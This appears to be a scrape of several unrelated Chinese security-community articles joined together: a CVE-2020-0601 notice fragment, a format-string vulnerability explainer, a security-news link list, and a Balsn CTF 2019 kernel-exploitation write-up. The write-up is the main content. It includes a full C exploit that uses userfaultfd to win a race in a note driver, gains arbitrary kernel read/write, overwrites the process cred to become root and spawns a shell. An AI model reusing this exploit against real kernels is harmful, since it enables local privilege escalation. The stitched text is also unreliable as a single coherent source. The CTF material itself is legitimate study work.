利用此漏洞可以使用伪造的证书对恶意的可执行文件进行签名，使文件看起来来自可信的来源，或者进行中间人攻击并解密用户连接到受影响软件的机密信息。
## 0x01 时间线
2020-01-14 微软官方发布安全公告
2020-01-15 360CERT发布通告
2020-01-16 360CERT发布漏洞原理分析
## 0x02 参考链接
1. <https://media.defense.gov/2020/Jan/14/2002234275/-1/-1/0/CSA-WINDOWS-10-CRYPT-LIB-20190114.PDF>
2. <https://www.zerodayinitiative.com/blog/2020/1/14/the-january-2020-security-update-review> | 社区文章 |
# 【缺陷周话】第26期：被污染的格式化字符串
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、被污染的格式化字符串
格式化字符串函数可以接受可变数量的参数，函数的调用者可以自由的指定函数参数的数量和类型。常见的格式化字符串函数有： scanf、 printf、
fprintf、 vprintf、 vfprintf、 sprintf、 snprintf、 vsprintf、 vsnprintf
等等。当程序使用了格式化字符串作为参数，且该格式化字符串来自外部输入时，如果没有外部输入进行有效过滤，就有可能触发格式化字符串漏洞，本篇文章分析被污染的格式化字符串产生的原因及修复方法。详细请参见：CWE-134:
Use of Externally-Controlled Format String。
## 2、 被污染的格式化字符串
直接将被污染的数据作为格式化字符串进行操作，由于污染数据内容的不确定性，可能导致格式化匹配混乱、解析错误甚至系统运行崩溃或者执行恶意代码。如在使用
printf() 函数时：
scanf("%s",str);printf(str)；
这段代码的目的是输出字符串，但是由于这段字符串来源于被污染的数据，且直接使用了printf(str)
这种形式，就可能会把栈上的偏移当做数据输出。通过构造格式化字符串的方法，就可以实现任意地址的读或者写。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年3月，CVE中就有11条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2018-6875 | KEY HODLERS KeepKey4.0.0 版本中存在格式化字符串漏洞。攻击者可利用该漏洞访问无权访问的信息。
CVE-2018-6317 | ClaymoreDualMiner 是一款用于挖矿（虚拟货币计算）的 GPU
监控软件。ClaymoreDualMiner10.5 及之前版本中的远程管理界面存在未授权的格式化字符串漏洞。远程攻击者可利用该漏洞读取内存或造成拒绝服务。
CVE-2018-17336 | udisks（前称DeviceKit-disks）是一个Linux系统上的系统服务，它主要用于列举出设备并提供设备相关的信息。 udisks2.8.0 版本中的 udiskslogging.c
文件的‘udisks_log’函数存在格式化字符串漏洞。攻击者可借助畸形的文件系统标签利用该漏洞获取敏感信息（栈内容）并造成拒绝服务（内存损坏）。
CVE-2018-15749 | Pulse Secure Desktop 是美国 Pulse Secure 公司的一套用于访问 Juniper Pulse
Secure 网关的终端设备的客户端软件。PulseSecure Desktop (macOS) 5.3R5 之前的 5.3RX
版本和9.0R1版本中存在格式化字符串漏洞。本地攻击者可利用该漏洞获取信息。
## 3、示例代码
示例源于Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE134_Uncontrolled_Format_String__char_environment_fprintf_01.c。
### 3.1缺陷代码
在上述示例代码中，第42行使用 GETENV() 函数获取环境变量并使用 strncat() 函数读取环境变量信息至 data 中，在第51行使用
fprintf() 函数，没有明确指定格式说明符而直接使用了 data 数据，因此存在“被污染的格式化字符串”问题。
使用360代码卫士对上述示例代码进行检测，可以检出“被污染的格式化字符串”缺陷，显示等级为“高”。如图1所示：
图1：被污染的格式化字符串的检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为： 在第51行对 fprtinf() 函数的格式说明符进行了明确定义，从而避免了被污染的格式化字符串。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“被污染的格式化字符串”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免被污染的格式化字符串
（1）明确指定格式化说明符，避免来自被污染的数据作为格式化字符串。
（2）使用源代码静态分析工具，可以有效发现这类问题。 | 社区文章 |
# 【知识】11月10日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：维基解密放出CIA Hive源代码、 ** **CVE-2017-16642基于堆的缓冲区溢出漏洞**** 、 **Hyper-V安全从0到1** 、IoT开发——NanoPi NEO 2、针对C#编译器的DoS攻击、 **
**动态生成PDF中的漏洞——XSS与本地文件读取的结合** 、 **VirtualBox远程DoS漏洞分析**** 。**
**资讯类：**
谷歌分析钓鱼是比键击记录器和密码复用更严重的威胁
<https://www.bleepingcomputer.com/news/security/google-ranks-phishing-above-keyloggers-and-password-reuse-as-bigger-threat-to-users/>
维基解密放出CIA Hive源代码
<https://thehackernews.com/2017/11/cia-hive-malware-code.html>
CVE-2017-16642基于堆的缓冲区溢出漏洞
<http://www.securityfocus.com/bid/101745>
**技术类：**
Hyper-V安全从0到1
<https://bbs.pediy.com/thread-222626.htm>
IE11 jscript的UAF漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1340>
Hitcon 2017 Writeup
<https://tradahacking.vn/hitcon-2017-ghost-in-the-heap-writeup-ee6384cd0b7>
非HTTPS网站黑名单
<https://blog.sucuri.net/2017/05/non-https-websites-blacklisted-for-passwords-without-ssl.html>
基于Radare的Android APK分析
<https://github.com/mhelwig/apk-anal>
Drexel One API逆向工程
<https://medium.com/@tomershemesh/reverse-engineering-the-drexel-one-api-370a560afedf>
教你编写x86-64 JIT编译器
<https://csl.name/post/python-jit/>
IoT开发——NanoPi NEO 2
<https://mzyy94.com/blog/2017/11/10/nanopineo2-homekit/>
针对C#编译器的DoS攻击
<http://mattwarren.org/2017/11/08/A-DoS-Attack-against-the-C-Compiler/>
动态生成PDF中的漏洞——XSS与本地文件读取的结合
<http://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html>
VirtualBox远程DoS漏洞分析
<https://unimplemented.org/vbox-cve2016-5608-analysis.html>
iOS与iCloud的取证分析
<https://blog.elcomsoft.com/2017/11/the-art-of-ios-and-icloud-forensics/>
AWS安全总览 第二部分
<http://sysforensics.org/2017/11/aws-security-overview-part-ii-iam/>
攻击.NET序列化
<https://speakerdeck.com/pwntester/attacking-net-serialization>
Toast Overlay攻击
<http://blog.trendmicro.com/trendlabs-security-intelligence/toast-overlay-weaponized-install-android-malware-single-attack-chain/> | 社区文章 |
本文所有测试文件地址见：[https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn%20CTF%202019](https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn
CTF 2019)
`userfaltfd`在内核漏洞利用中非常有用，借这道题来学习一下。
## 一、背景知识
#### 1.提权
内核提权一般需要利用漏洞来修改`task_struct`中的cred结构，`commit_cred(prepare_kernel_creds(0))`会帮你找到cred结构并修改。
SMEP防止在内核态执行用户态代码，采用ROP来绕过；SMAP防止内核态使用用户态数据，切断了用户态的ROP，可以`copy_from_user`和`copy_to_user`来绕过SMAP。
#### 2.页和虚内存
内核的内存主要有两个区域，RAM和交换区，即将被使用的内存保存在RAM中，暂时不被使用的内存放在交换区，内核控制交换进出过程。RAM中地址是物理地址，而内核使用虚地址，所以通过页表建立虚地址到物理地址的映射。虚拟页和物理页大小都是0x1000字节，64位系统下需2^52^个页，还是很大，可采用多级页表
#### 3.页调度与延迟加载
有的内存既不在RAM也不在交换区，例如mmap创建的内存映射页。mmap页在`read/write`访问之前，实际上还没有创建（还没有映射到实际的物理页），例如：`mmap(0x1337000,
0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE, fd, 0);`
内核并未将`fd`内容拷贝到`0x1337000`，只是将地址0x1337000映射到文件`fd`。
当有如下代码访问时：
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);
若发生对该页的引用，则（1）为0x1337000创建物理帧，（2）从fd读内容到0x1337000，（3）并在页表标记合适的入口，以便识别0x1337000虚地址。如果是堆空间映射，仅第2步不同，只需将对应物理帧清0。
总之，若首次访问mmap创建的页，会耗时很长，会导致上下文切换和当前线程的睡眠。
#### 4.别名页 Alias pages
没有ABI能直接访问物理页，但内核有时需要修改物理帧的值（例如修改页表入口），于是引入了别名页，将物理帧映射到虚拟页。在每个线程的启动和退出的页表中，所以大多数物理帧有两个虚拟页映射到它，这就是“别名”的由来。通常别名页的地址是`SOME_OFFSET
+ physical address`。
#### 5.userfaultfd
`userfaultfd`机制可以让用户来处理缺页，可以在用户空间定义自己的`page fau
handler`。用法请参考[官方文档](http://man7.org/linux/man-pages/man2/userfaultfd.2.html)，含示例代码，见文件`userfaultfd_demo.c`。
**Step 1: 创建一个描述符uffd**
所有的注册内存区间、配置和最终的缺页处理等就都需要用ioctl来对这个uffd操作。ioctl-userfaultfd支持`UFFDIO_API`、`UFFDIO_REGISTER`、`UFFDIO_UNREGISTER`、`UFFDIO_COPY`、`UFFDIO_ZEROPAGE`、`UFFDIO_WAKE`等选项。比如`UFFDIO_REGISTER`用来向`userfaultfd`机制注册一个监视区域，这个区域发生缺页时，需要用`UFFDIO_COPY`来向缺页的地址拷贝自定义数据。
# 2 个用于注册、注销的ioctl选项：
UFFDIO_REGISTER 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER 注销将触发user-fault的内存地址
# 3 个用于处理user-fault事件的ioctl选项：
UFFDIO_COPY 用已知数据填充user-fault页
UFFDIO_ZEROPAGE 将user-fault页填零
UFFDIO_WAKE 用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和
UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
# 1 个用于配置uffd特殊用途的ioctl选项：
UFFDIO_API 它又包括如下feature可以配置：
UFFD_FEATURE_EVENT_FORK (since Linux 4.11)
UFFD_FEATURE_EVENT_REMAP (since Linux 4.11)
UFFD_FEATURE_EVENT_REMOVE (since Linux 4.11)
UFFD_FEATURE_EVENT_UNMAP (since Linux 4.11)
UFFD_FEATURE_MISSING_HUGETLBFS (since Linux 4.11)
UFFD_FEATURE_MISSING_SHMEM (since Linux 4.11)
UFFD_FEATURE_SIGBUS (since Linux 4.14)
// userfaultfd系统调用创建并返回一个uffd，类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
**STEP 2. 用ioctl的UFFDIO_REGISTER选项注册监视区域**
// 注册时要用一个struct uffdio_register结构传递注册信息:
// struct uffdio_range {
// __u64 start; /* Start of range */
// __u64 len; /* Length of range (bytes) */
// };
//
// struct uffdio_register {
// struct uffdio_range range;
// __u64 mode; /* Desired mode of operation (input) */
// __u64 ioctls; /* Available ioctl() operations (output) */
// };
addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 分别是我匿名映射返回的地址和长度，赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
**STEP 3. 创建一个处理专用的线程轮询和处理”user-fault”事件**
要使用userfaultfd，需要创建一个处理专用的线程轮询和处理”user-fault”事件。主进程中就要调用`pthread_create`创建这个自定义的handler线程：
// 主进程中调用pthread_create创建一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
一个自定义的线程函数举例如下，这里处理的是一个普通的匿名页用户态缺页，我们要做的是把我们一个已有的一个page大小的buffer内容拷贝到缺页的内存地址处。用到了`poll`函数轮询`uffd`，并对轮询到的`UFFD_EVENT_PAGEFAULT`事件(event)用拷贝(ioctl的`UFFDIO_COPY`选项)进行处理。
**注意** ：如果写exp只需处理一次缺页，可以不用循环。
static void * fault_handler_thread(void *arg)
{
// 轮询uffd读到的信息需要存在一个struct uffd_msg对象中
static struct uffd_msg msg;
// ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象
struct uffdio_copy uffdio_copy;
uffd = (long) arg;
......
for (;;) { // 此线程不断进行polling，所以是死循环
// poll需要我们构造一个struct pollfd对象
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
poll(&pollfd, 1, -1);
// 读出user-fault相关信息
read(uffd, &msg, sizeof(msg));
// 对于我们所注册的一般user-fault功能，都应是UFFD_EVENT_PAGEFAULT这个事件
assert(msg.event == UFFD_EVENT_PAGEFAULT);
// 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
// page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
......
}
}
## 二、漏洞分析
#### 1.init_module()函数
void init_module()
{
bufPtr = bufStart;
return misc_register(&dev);
}
`dev`是`struct miscdevice`结构
struct miscdevice {
int minor;
const char *name;
const struct file_operations *fops;
struct list_head list;
struct device *parent;
struct device *this_device;
const struct attribute_group **groups;
const char *nodename;
umode_t mode;
};
#在IDA中看dev结构，dev_name是"note"，fops指向0x680处。
.data:0000000000000620 dev db 0Bh ; DATA XREF: init_module+5↑o
.data:0000000000000620 ; cleanup_module+5↑o
.data:0000000000000621 db 0
.data:0000000000000622 db 0
.data:0000000000000623 db 0
.data:0000000000000624 db 0
.data:0000000000000625 db 0
.data:0000000000000626 db 0
.data:0000000000000627 db 0
.data:0000000000000628 dq offset aNote ; "note"
.data:0000000000000630 dq offset unk_680
.data:0000000000000638 align 80h
.data:0000000000000680 unk_680 db 0 ; DATA XREF: .data:0000000000000630↑o
// file_operations结构
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
... truncated
};
`unk_680`对应`file_operations`结构，发现只定义了`open`和`unlocked_ioctl`函数，其他都是null。`unlocked_ioctl`和`compat_ioctl`有区别，`unlocked_ioctl`不使用内核提供的全局同步锁，所有的同步原语需自己实现，所以可能存在条件竞争漏洞。
#### 2.unlocked_ioctl()函数
unlocked_ioctl()函数实现4个功能：new/edit/show/delete。
// 从用户缓冲区userPtr拷贝参数到req结构, note length / note content
void * unlocked_ioctl(file *f, int operation, void *userPtr)
{
char encBuffer[0x20];
struct noteRequest req;
memset(encBuffer, 0, sizeof(encBuffer));
if ( copy_from_user(&req, userPtr, sizeof(req)) )
return -14;
/* make note, view note, edit note, delete note */
return result;
}
// noteRequest结构——用户参数
struct noteRequest{
size_t idx;
size_t length;
size_t userptr;
}
// note结构——存储的note
struct note {
unsigned long key;
unsigned char length;
void *contentPtr;
char content[];
}
//(1) new note功能, operation == -256
/* 创建note，从bufPtr分配空间，从current_task获取key(task_struct.mm->pgd,页全局目录的存放位置)，对content进行XOR加密。最后将(¬e->content - page_offset_base)值保存，别名页的地址是【SOME_OFFSET + physical address】，page_offset_base就是这个SOME_OFFSET。没开kaslr时，page_offset_base固定，否则随机化。
注意：length长度范围是0~0x100，从汇编指令可看出来`movzx ecx, byte ptr [rsp+140h+req.length]`，是byte级赋值操作。
*/
if ( operation == -256 )
{
idx = 0;
while ( 1 )
{
if (!notes[idx])
break;
if (++idx == 16)
return -14LL;
} // 从全局数组notes找到空位，最多16个note
new = (note *)bufPtr;
req.noteIndex = idx;
notes[idx] = (struct note *)bufPtr;
new->length = req.noteLength;
new->key = *(void **)(*(void **)(__readgsqword((unsigned __int64)¤t_task) + 0x7E8) + 80);// ????
bufPtr = &new->content[req.length];
if ( req.length > 0x100uLL )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, req.length);
BUG();
}
_check_object_size(encBuffer, req.length, 0LL);
copy_from_user(encBuffer, userptr, req.length);
length = req.length;
if ( req.length )
{
i = 0LL;
do
{
encBuffer[i / 8] ^= new->key; // encryption
i += 8LL;
}
while ( i < length );
}
memcpy(new->content, encBuffer, length);
new->contentPtr = &new->content[-page_offset_base];// 注意 page_offset_base
return 0;
//(2) delete功能：清空note数组，把bufPtr指向全局缓冲区开头，并清0。
ptr = notes;
if (operation == -253)
{
do
{
*ptr = 0LL;
++ptr;
}
while (ptr < note_end);
bufPtr = bufStart;
memset(bufStart, 0, sizeof(bufStart));
return 0;
// (3) edit功能。注意copy_from_user很耗时，能增大race的成功率
if (operation == -255)
{
note = notes[idx];
if ( note )
{
length = note->length;
userptr = req.userptr;
contentPtr = (note->contentPtr + page_offset_base);
_check_object_size(encBuffer, length, 0LL);
copy_from_user(encBuffer, userptr, length);
if ( length )
{
i = 0;
do
{
encBuffer[i/8] ^= note->key;
i += 8LL;
}
while (length > i);
memcpy(contentPtr, encBuffer, length)
}
return 0LL;
}
}
// (4) show功能。将content用XOR解密后用copy_to_user打印出来。
if ( (_DWORD)operation == -254 )
{
tmp_note2 = (note *)global_notes[note_idx2];
result = 0LL;
if ( tmp_note2 )
{
len = LOBYTE(tmp_note2->length);
contentPtr2 = (_DWORD *)(tmp_note2->contentPtr + page_offset_base);
memcpy(encBuffer, contentPtr, len)
}
if ( len )
{
ji_2 = 0LL;
do
{
encBuffer[ji_2 / 8] ^= tmp_note2->key;
ji_2 += 8LL;
}
while ( ji_2 < len );
}
userptr = req.userptr;
_check_object_size(encBuffer, len, 1LL);
copy_to_user(userptr, encBuffer, len);
result = 0LL;
}
#### 3.漏洞
考虑以下两线程：
thread 1 | thread 2
---|---
edit note 0 (size 0x10) | idle
copy_from_user | idle
idle | delete all notes
idle | add note 0 with size 0x0
idle | add note 1 with size 0x0
continue edit of note 0 (size 0x10) | idle
由于edit时copy_from_user首次访问mmap地址，触发缺页处理函数，等线程2删除所有note并重新添加两个note后，线程1才继续编辑note
0，此时的编辑content size还是0x10，所以就会产生溢出。
## 三、漏洞利用
#### 1.利用方法
目标：若伪造note结构，就能构造任意地址读写。
// note结构
struct note {
unsigned long key;
unsigned char length;
void *contentPtr;
char content[];
}
key值泄露：若读取note 0，则会将加密后的null字节也打印出来，其实就是key值。
0x0 | note 0, with content size 0x10
---|---
0x18 | note 1
0x30 | NULL’ed out data
module基址泄露：得到key后，可以得到`contentPtr`值，`contentPtr`须加上`page_base_offset`才是真实指针。就能以module的`.bss`相对地址进行任意读写，可读出`notes`数组从而泄露module基址。
内核基址泄露：可读取module的0x6c处的`.text:000000000000006C call _copy_from_user`来泄露内核基址。
`page_offset_base`泄露：读取`.text:00000000000001F7 mov r12,
cs:page_offset_base`处的4字节偏移`page_offset_base_offset`，再读取`page_offset_base_offset
+ 0x1fe + mudule_base`处的值，就是page_offset_base的值。为什么非要泄露它呢，因为读/写都是以它为基地址。
// 泄露内核基址：读取0x6c处的值，取出32位offset，加上pc即可得到copy_from_user函数地址。
unsigned long leak = read64(0x6c + moduleBase);
long int offset = *((int *)(((char *)&leak) + 1)) + 5;
copy_from_user = offset + moduleBase + 0x6c;
#### 2.exploit
为了准确控制线程1在`copy_from_user`或`copy_to_user`处停住，需用到`userfaultfd`（处理用户空间的页错误）。注意本题的漏洞根本原因在于使用了unlocked_ioctl，对全局数组notes进行访问时没有上锁，所以才能用`userfaultfd`在`copy_from_user`处暂停。
**触发溢出步骤** ：
（1）创建1个content length长度为0x10的note。
（2）创建1个userfalut fd，来监视0x1337000地址处的页错误。
（3）对note0 进行edit，并利用mmap将传进去的userptr指针指向0x1337000地址空间。
（4）在edit note0执行到`copy_from_user`时，进入页错误处理程序。
（5）也错误处理程序中，清空notes，并创建note0/note1，content length都是0。
（6）恢复执行edit note0，将note1的content length覆盖为0xf0。
（7）触发溢出。
**利用步骤** ：
（1）泄露key：输出note1，content内容为NULL，输出内容会与key异或，仍为key。
（2）泄露module_base：创建note2，输出note1，会输出note2的contentPtr指针，即可计算出module_base。
（3）泄露page_offset_base：`edit
note1`，将note2的contentPtr改成`module_base+0x1fa`，`.text:00000000000001F7 mov r12,
cs:page_offset_base`，show
note2泄露`page_offset_base`在module中的偏移`page_offset_base_offset`；`edit
note`，将note2的contentPtr改成`module_base+0x1fe+page_offset_base_offset`，泄露出`page_offset_base`。
（4）搜索cred地址：利用prctl的`PR_SET_NAME`功能搜索到task_struct结构，（满足条件：`real_cred—NAME前0x10处`和`cred—NAME前0x8处`指针值相等且位于内核空间，大于`0xffff000000000000`）；将note2的`contentPtr`覆盖为`cred_addr-page_offset_base+4`。
（5）修改cred提权。
**EXP如下** ：见`exp_cred.c`。
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
typedef struct _noteRequest
{
size_t idx;
size_t length;
char* userptr;
}noteRequest;
int fd;
void init()
{
fd = open("/dev/note", 0);
if (fd<0)
exit(-1);
puts("[+] init done!");
}
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
void create(char* buf, uint8_t length)
{
noteRequest req;
req.length = length;
req.userptr = buf;
if (ioctl(fd, -256, &req) < 0)
errExit("[-] Failed to create!");
}
void edit(uint8_t idx, char* buf, uint8_t length)
{
noteRequest req;
req.length = length;
req.userptr = buf;
req.idx = idx;
if (ioctl(fd, -255, &req) < 0)
errExit("[-] Failed to edit!");
}
void show(uint8_t idx, char* buf)
{
noteRequest req;
req.userptr = buf;
req.idx = idx;
if (ioctl(fd, -254, &req) < 0)
errExit("[-] Failed to show!");
}
void delete()
{
noteRequest req;
if (ioctl(fd, -253, &req) < 0)
errExit("[-] Failed to delete!");
}
char buffer[0x1000];
#define FAULT_PAGE ((void*)(0x1337000))
void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] Handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待，直到copy_from_user访问FAULT_PAGE
errExit("[-] Wrong pool return value");
printf("[+] Trigger! I'm going to hang\n");
//现在主线程停在copy_from_user函数了，可以进行利用了
delete();
create(buffer, 0);
create(buffer, 0);
// 原始内存：note0 struct + 0x10 buffer
// 当前内存：note0 struct + note1 struct
// 当主线程继续拷贝时，就会破坏note1区域
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构，虽然没用
errExit("[-] Error in reading uffd_msg");
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
puts("[+] done 1");
return NULL;
}
void register_userfault()
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1) // create the user fault fd
errExit("[-] ioctl-UFFDIO_API");
if (mmap(FAULT_PAGE, 0x1000, 7, 0x22, -1, 0) != FAULT_PAGE)//create page used for user fault
errExit("[-] mmap fault page");
ur.range.start = (unsigned long)FAULT_PAGE;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理fd，这样只要copy_from_user
//访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create"); // handler函数进行访存错误处理
}
int main(int argc, char const *argv[])
{
init();
create(buffer, 0x10); // memory layout: note struct + 0x10 buffer
register_userfault(); // register the user fault
edit(0, FAULT_PAGE, 1);
/* 漏洞在于edit没有实现锁，所以执行到copy_from_user时访存错误被挂起，
notes被其他线程篡改，copy_from_user继续运行时导致OOB 和 R&W */
// 1.leak key
show(1, buffer);
unsigned long key = *(unsigned long *)buffer;
create(buffer, 0); // note2: can be overwritten
// 2. leak module base
show(1,buffer);
unsigned long bss_addr = *(unsigned long*) (buffer + 0x10) ^ key;
unsigned long module_base = bss_addr - 0x2568;
printf("[+] key=0x%lx module_base=0x%lx\n", key, module_base);
// 3. leak base addr, not kernel_base
unsigned long page_offset_base = module_base + 0x1fa;
unsigned long* fake_note = (unsigned long*)buffer;
fake_note[0] = 0 ^ key; // note2的key变成0
fake_note[1] = 4 ^ key;
fake_note[2] = page_offset_base ^ key;
edit(1, buffer, 0x18);
int page_offset_base_offset;
show(2, (char*)&page_offset_base_offset);
printf("[+] page_offset_base_offset = 0x%x\n", page_offset_base_offset);
//0x1f7处是指令 .text:00000000000001F7 mov r12, cs:page_offset_base
// .text:00000000000001FE add r12, [rax+10h]
// 计算存基址的地址，并读出该地址
page_offset_base = module_base + 0x1fe + page_offset_base_offset;
printf("[+] page_offset_base = 0x%lx\n", page_offset_base);
fake_note[1] = 8 ^ key;
fake_note[2] = page_offset_base ^ key;
edit(1, buffer, 0x18);
unsigned long base_addr;
show(2, (char *)&base_addr);
printf("[+] base_addr = 0x%lx\n", base_addr);
// 4. search cred 注意：都是相对base_addr找的，所以从偏移0开始找
if (prctl(PR_SET_NAME, "try2findmesauce") < 0)
errExit("[-] prctl set name failed");
unsigned long* task;
for (size_t off = 0; ; off += 0x100) // 由于length只能是1字节，所以1次只能读0xff
{
fake_note[0] = 0 ^ key;
fake_note[1] = 0xfff ^ key;
fake_note[2] = off ^ key;
edit(1, buffer, 0x18);
memset(buffer, 0, 0x100);
show(2, buffer);
task = (unsigned long*)memmem(buffer, 0x100, "try2findmesauce", 14);
if (task != NULL)
{
printf("[+] found: %p 0x%lx, 0x%lx\n", task, task[-1], task[-2]);
if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000) // 确保cred地址在内核空间
break;
}
}
// 5. change cred to 0
fake_note[0] = 0 ^ key;
fake_note[1] = 0x28 ^ key;
fake_note[2] = (task[-2] + 4 - base_addr) ^ key; // 注意一定是修改相对base_addr的地址
edit(1, buffer, 0x18);
int fake_cred[8];
memset(fake_cred, 0, sizeof(fake_cred));
edit(2, (char*)fake_cred, 0x28);
char* args[2] = {"/bin/sh", NULL};
execv("/bin/sh", args);
return 0;
}
想利用`call_usermodehelper`方法来写，但发现prctl_hook怎么都修改不了（可能是系统不允许修改prctl_hook）。报错信息如下：
不过可以改modprobe_path，利用脚本见`exp_modprobe.c`。
/home/note # ./test
[+] init done!
[+] Handler created
[+] Trigger! I'm going to hang
[+] done 1
[+] key=0xffff9a3f0ea52000 module_base=0x65c0c00f0000
[+] page_offset_base_offset = 0xe5babaa2
[+] page_offset_base = 0x65c0a5c9bca0
[+] base_addr = 0xffff9a3f00000000
[+] real module_base = 0xffffffffc00f0000
[+] kernel_base = 0xffffffffa4e00000
[+] order_cmd_addr = 0xffffffffa5e5d940
[+] prctl_hook_addr = 0xffffffffa5cb0460
[+] poweroff_work_func_addr = 0xffffffffa4ead300
[*] Wait 1!
1
[*] Wait 2!2
[ 16.235460] BUG: unable to handle kernel paging request at ffffffffa5cb0460
[ 16.238245] #PF error: [PROT] [WRITE]
[ 16.239130] PGD 9c12067 P4D 9c12067 PUD 9c13063 PMD eb8a163 PTE 8000000009ab0061
[ 16.240921] Oops: 0003 [#1] SMP PTI
[ 16.241536] CPU: 0 PID: 169 Comm: test Tainted: G OE 5.1.9 #1
[ 16.242241] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 16.243084] RIP: 0010:0xffffffffc00f034f
[ 16.243980] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08 48 89 de 48 83 e7 f8 <49> 89 04 24 89 e8 48 8b 54 03 f8 49 89 54 04 f8 49 29 fc 31 c0 4c
[ 16.246040] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
[ 16.246269] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
[ 16.246690] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
[ 16.247939] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
[ 16.248679] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
[ 16.249253] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
[ 16.250133] FS: 0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
[ 16.251110] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 16.251654] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
[ 16.252143] Call Trace:
[ 16.253153] ? __ia32_sys_reboot+0x20/0x20
[ 16.254058] ? 0xffffffffc00f0000
[ 16.254712] do_vfs_ioctl+0xa1/0x620
